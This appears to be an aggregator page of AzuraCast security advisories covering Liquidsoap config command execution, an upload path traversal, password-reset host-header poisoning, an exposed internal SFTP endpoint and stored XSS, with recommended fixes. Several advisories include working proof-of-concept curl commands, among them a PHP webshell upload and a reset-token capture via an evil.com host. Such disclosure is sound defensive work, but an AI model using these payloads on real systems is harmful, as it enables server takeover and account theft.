See how azuracast compares to other vendors in security performance
AzuraCast exposes the Liquidsoap custom configuration fields through an endpoint that does not require the permission guarding them. The backendconfig property in backend/src/Entity/Station.php is annotated with GROUPGENERAL, and PUT /api/station/{stationid}/profile/edit in backend/src/Controller/Api/Stations/ProfileEditController.php deserializes with that group while requiring only StationPermissions::Profile. AbstractArrayEntity::fromArray() then assigns every public property with no field-level permission check, so customconfigtop, customconfig, customconfigpreplaylists, customconfigprelive, customconfigprefade and customconfigbottom are writable through it. ConfigWriter::writeCustomConfigurationSection() emits those values verbatim into the generated Liquidsoap .liq script, where the process.run() and process.exec() built-ins execute operating system commands when the backend restarts, which the built-in sync task triggers automatically once needsrestart is set. The dedicated endpoint for the same data, PUT /api/station/{id}/liquidsoap-config, requires StationPermissions::Broadcasting, so a station manager holding only the profile permission reaches configuration that the intended boundary reserves for broadcasting operators.
Summary
The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{stationid}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
Details
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; }
While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes }
The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ }
getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/apistation.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.
PoC
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer <APIKEYWITHMEDIAPERMISSION>" \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "filedata=@shell.php"
Where shell.php contains: php <?php system($GET['cmd']); ?>
Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
bash curl "http://localhost/shell.php?cmd=id"
Expected output: uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)
Impact
- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. - Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. - Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. - Data Exfiltration: All station data, user credentials, and application secrets become accessible.
Recommended Fix
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory'));
// With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) );
Additionally, harden LocalFilesystem::upload() to normalize paths before use:
php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() );
if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } }
Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
Summary
The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.
Details
Root Cause 1: Unconditional X-Forwarded-Host Trust
backend/src/Middleware/ApplyXForwarded.php:35-40: php if ($request->hasHeader('X-Forwarded-Host')) { $hasXForwardedHeader = true; $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true); if (null !== $xfHost) { $uri = $uri->withHost($xfHost); } }
There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.
In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgipass with include fastcgiparams. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP parameters. The proxyparams.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxypass directives (websocket and vite dev server), NOT to the fastcgipass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.
Root Cause 2: Request Host Used for Security-Critical URLs
backend/src/Http/Router.php:53-77 in buildBaseUrl(): php $useRequest ??= $settings->preferbrowserurl; // default: true
// ... if ($useRequest || $baseUrl->getHost() === '') { $ignoredHosts = ['web', 'nginx', 'localhost']; if (!inarray($currentUri->getHost(), $ignoredHosts, true)) { $baseUrl = (new Uri()) ->withScheme($currentUri->getScheme()) ->withHost($currentUri->getHost()) ->withPort($currentUri->getPort()); } }
With preferbrowserurl = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a baseurl is configured in settings, it is overridden by the poisoned request host.
Root Cause 3: Password Reset Generates Absolute URL
backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77: php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true );
This URL is embedded in the password reset email sent to the victim.
Root Cause 4: Reset Token Wipes 2FA
backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75: php $user->setNewPassword($data['password']); $user->twofactorsecret = null;
When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.
PoC
Prerequisites: An AzuraCast instance with a user account (e.g., admin@target.com) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.
Step 1: Trigger poisoned password reset
bash curl -X POST https://target.azuracast.example/forgot \ -H "X-Forwarded-Host: evil.com" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=admin@target.com"
Expected result: The password reset email sent to admin@target.com contains a URL like: https://evil.com/login-token/abc123def456...
Step 2: Capture the token
When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....
Step 3: Use token on real instance
bash First, GET the reset page to obtain CSRF token curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...
Extract CSRF token from response, then POST new password curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=<extractedcsrftoken>&password=AttackerPassword123"
Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (twofactorsecret = null). The attacker is logged in with full access.
Impact
- Full account takeover of any user account, including administrators, without any prior authentication - 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit - Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings - The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success
Recommended Fix
Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist
In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded- headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):
php // Add trusted proxy check $trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web']; $remoteAddr = $request->getServerParams()['REMOTEADDR'] ?? '';
if (!inarray($remoteAddr, $trustedProxies, true)) { return $handler->handle($request); }
// ... existing X-Forwarded- processing
Fix 2 (Defense in depth): Use configured base URL for security-critical emails
In ForgotPasswordAction.php, generate the reset URL using the configured baseurl setting rather than the request-derived URL:
php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true, // Force use of configured base URL, not request host );
Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.
Fix 3 (Defense in depth): Don't wipe 2FA on password reset
In LoginTokenAction.php:75, remove the line $user->twofactorsecret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.
An API endpoint that is intended for internal use by the SFTP software sftpgo was mistakenly exposed to the public-facing HTTP API for AzuraCast installations.
This would allow a user with specific internal knowledge of a station's operations to craft a custom HTTP request that would affect the contents of a station's database, without revealing any internal information about the station.
With a request like:
curl -s -X POST "http://localhost/api/internal/sftp-event" -H "Content-Type: application/json" -d '{ "action": "pre-delete", "username": "admin", "path": "/var/azuracast/stations/test/media/test.mp3" }'
A remote user could simulate a request from sftpgo informing the software that a file was about to be deleted from the path given. In anticipation of this, AzuraCast would delete the corresponding database record for that file. While AzuraCast would then later discover on its own that the file actually exists and recreate the media record, it would not have the same playlist associations or custom metadata as the previous instance of the media record in the database.
Some mitigating factors affecting the severity of this issue include: - A user would need to know a valid SFTP username corresponding to the specific station in question. - A user would need to know the internal filesystem structure of a station (or be able to brute-force or guess paths). - Any call to this internal API endpoint does not return any information to the calling process about what files are present or aren't, so no confidential internal information is revealed by this process. Patched versions of AzuraCast specifically check that any calls to this internal URL are being called by the internal HTTP service, which only listens for activity on localhost and is not accessible from outside the container.
Improper Restriction of Excessive Authentication Attempts in GitHub repository azuracast/azuracast prior to 0.18.3.
AzuraCast/AzuraCast prior to version 0.18.0 is vulnerable to stored cross-site scripting. An issue was identified where a user who already had an AzuraCast account could update their display name to inject malicious JavaScript into the header menu of the site. In a majority of cases, this menu is only visible to the current logged-in user (pages like the Administer Users page are unaffected by this vulnerability), but if a higher-privileged administrator uses the Log In As feature to masquerade as a user, then the JavaScript injection could exfiltrate certain data. Anonymous members of the public cannot exploit this vulnerability in an AzuraCast installation, so it is primarily of concern for multi-tenant installations (i.e. resellers).